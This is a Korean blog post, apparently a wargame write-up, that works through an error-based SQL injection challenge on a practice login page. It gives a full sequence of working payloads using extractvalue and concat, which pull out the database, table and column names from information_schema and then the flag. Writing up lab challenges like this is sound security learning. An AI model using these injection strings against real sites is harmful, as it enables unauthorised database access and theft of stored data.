목표: DB 에 있는 flag 를 찾아라!
<1단계 : 탐색>
로그인 창 | 로그인 성공 |
일단 사이트를 탐색해준다.
기본적으로 SQLi 가 가능한지 확인하기 위해 문구를 넣어본다
<넣어준 문구 : normaltic' and '1'='1>
SQLi 가 먹히는것을 확인하였다.
로그인 시도 | 문법오류발생 |
DB를 직접적으로 탐색해야 하기 때문에 Error SQLi , Blind SQLi 중 하나를 택해야한다.
Error SQLi 가 되는지 확인하기 위해 의도적으로 논리오류를 일으켜 보자.
<넣어준 값 : normaltic' and extractvalue('1',(select ':test'))and '1'='1>
이로써
1. 논리오류를 활용할 수 있음을 알게 되었다.
2. select 문이 사용가능한 것을 확인했다.
이제 헷갈리지 않게 SQLi format 을 작성해보자.
<2단계 : Format 작성>
작성 Format : normaltic' and extractvalue('1',concat(':',(SQL조건문))) and '1'='1
이제 필요한 SQL 질의문을 "SQL조건문" 부분에 넣어주면 된다!
<3단계 : DB 추출>
SQL 질의문 : database()
완성된 질의문 : normaltic' and extractvalue('1',concat(0x3a,database())) and '1'='1
DB 의 이름이 'sqli_2' 인것을 알아냈다!
<4단계 : Table 추출>
SQL 질의문: select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1
완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1
<실행결과>
table 이름이 flag_table 인것을 확인하였다.
<5단계 : Column 추출>
SQL 질의문 : select column_name from information_schema.columns where table_name='flag_table' limit 0,1
완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select column_name from information_schema.columns where table_name='flag_table' limit 0,1))) and '1'='1
<실행결과>
Column 이름이 flag 인것을 확인하였다.
<6단계 : 데이터 추출>
SQL 질의문: select flag from flag_table limit 0,1
완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select flag from flag_table limit 0,1))) and '1'='1
Flag 를 흭득하였다!
리뷰 : 데이터를 하나하나 단계별로 찾아가는 것이다 보니 상당히 체력소모가 심하다.
하지만 확실히 format 을 작성한 상태로 대입하니깐 괄호문제도 크게 겪지않았고 , 상당히 편하게 진행하였다.
단계별 추출의 중요성 , Format 작성의 중요성 에 대하여 배울수 있었던 시간이었다.
'워게임 문제풀이 > Segfault' 카테고리의 다른 글
<Segfault> 워게임 문제풀이 [XSS 1] (0) | 2024.06.26 |
---|---|
<Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection (0) | 2024.05.31 |
<Segfault> 워게임 문제풀이 [5편] - Secret Login (0) | 2024.05.22 |
<Segfault> 워게임 문제풀이 [4편] - Login Bypass 3 (0) | 2024.05.21 |
<SegFault> 워게임 문제풀이 [3편] - Admin is Mine (0) | 2024.05.21 |